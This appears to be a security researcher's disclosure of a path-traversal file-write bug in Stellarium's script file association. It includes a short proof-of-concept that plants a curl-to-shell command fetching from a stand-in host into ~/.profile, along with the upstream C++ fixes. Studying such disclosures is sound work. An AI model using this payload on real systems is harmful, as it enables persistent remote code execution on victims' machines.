/dev/posts/

Arbitrary file write in Stellarium file association

Published:

Updated:

I found an arbitrary file write vulnerability (through path traversal) which would be exploited for arbitrary code execution in Stellarium (desktop version).

Note: Stellarium

Stellarium is an awesome 🤩 program which helps you make sense of all the stars ⭐ (and planets 🪐) you can see in the sky. You can try the web version.

Found on:

Fixed in: Stellarium 23.1.

Vulnerability

Stellarium is associated with the application/x-stellarium-script MIME type. Opening such as file may lead to arbitrary file creation through path traversal.

For example, the following payload can overwrite the user ~/.profile:

core.output('curl https://example.com/payload | sh -c');
core.saveOutputAs('../.profile');

When processing this script, Stellarium provides the following log:

saving copy of output.txt to  "/home/foobar/.stellarium/../.profile"

The ~/.profile file is now:

curl https://example.com/payload | sh -c

This may be used to trigger arbitrary code execution.

An attacker may trigger the execution of a malicious Stellarium script (JavaScript) for example through the user web browser (eg. Firefox) or email client (eg. Thunderbird).

Mitigation

My propositions for mitigations were:

The screenshot function has been modified to in order to:

void StelMainScriptAPI::screenshot(const QString& prefix, bool invert, const QString& dir, const bool overwrite, const QString &format)
{
    QString realDir("");
    if ((!dir.isEmpty()) && (!StelApp::getInstance().getScriptMgr().getFlagAllowExternalScreenshotDir()))
    {
        qWarning() << "SCRIPT CONFIGURATION ISSUE: the script wants to store a screenshot" << prefix << "." << format << "to an external directory " << dir;
        qWarning() << "  To enable this, check the settings in the script console";
        qWarning() << "  or set entry scripts/flag_allow_screenshots_dir=true in config.ini.";
    }
    else
        realDir=dir;
    
    const bool oldInvertSetting = StelMainView::getInstance().getFlagInvertScreenShotColors();
	const QString oldFormat=StelMainView::getInstance().getScreenshotFormat();
	if ((format.length()>0) && (format.length()<=4))
		StelMainView::getInstance().setScreenshotFormat(format);
	// Check requested against set image format.
	if ((format.length()>0) && (StelMainView::getInstance().getScreenshotFormat() != format))
	{
		qWarning() << "Screenshot format" << format << "not supported. Not saving screenshot.";
		return;
	}

    // [...]
}

The StelMainView::saveScreenShot() function has been modified to strip path elements from the filePrefix:

void StelMainView::saveScreenShot(const QString& filePrefix, const QString& saveDir, const bool overwrite)
{
	screenShotPrefix = QFileInfo(filePrefix).fileName(); // Strip away any path elements (Security issue!)
	if (screenShotPrefix.isEmpty())
			screenShotPrefix = "stellarium-";
    // ...
}

The StelScriptOutput::saveOutputAs() function has been modified to:

void StelScriptOutput::saveOutputAs(const QString &name)
{
	QFile asFile;
	const QFileInfo outputInfo(outputFile);
	const QDir dir=outputInfo.dir(); // will hold complete dirname
	const QFileInfo newFileNameInfo(name);

	const bool okToSaveToAbsolutePath=StelApp::getInstance().getSettings()->value("scripts/flag_allow_write_absolute_path", false).toBool();

	if (name.contains("config.ini"))
	{
		qWarning() << "SCRIPTING ERROR: You are trying to overwrite config.ini. Ignoring.";
		return;
	}

	if (!okToSaveToAbsolutePath && ((newFileNameInfo.isAbsolute() || (name.contains(".."))))) // The last condition may include dangerous/malicious paths
	{
		qWarning() << "SCRIPTING CONFIGURATION ISSUE: You are trying to save to an absolute pathname or move up in directories.";
		qWarning() << "  To enable this, check the settings in the script console";
		qWarning() << "  or edit config.ini and set [scripts]/flag_allow_write_absolute_path=true";
		asFile.setFileName(dir.absolutePath() + "/" + newFileNameInfo.fileName());
	}
	else if (okToSaveToAbsolutePath && (newFileNameInfo.isAbsolute()))
	{
		asFile.setFileName(name);
	}
	else
	{
		asFile.setFileName(dir.absolutePath() + "/" + name);
	}
    // ...
}

Timeline

References

Appendix, Desktop Entry

[Desktop Entry]
Version=1.0
Type=Application
Name=Stellarium
# ...
Exec=stellarium --startup-script=%f
# ...
MimeType=application/x-stellarium-script;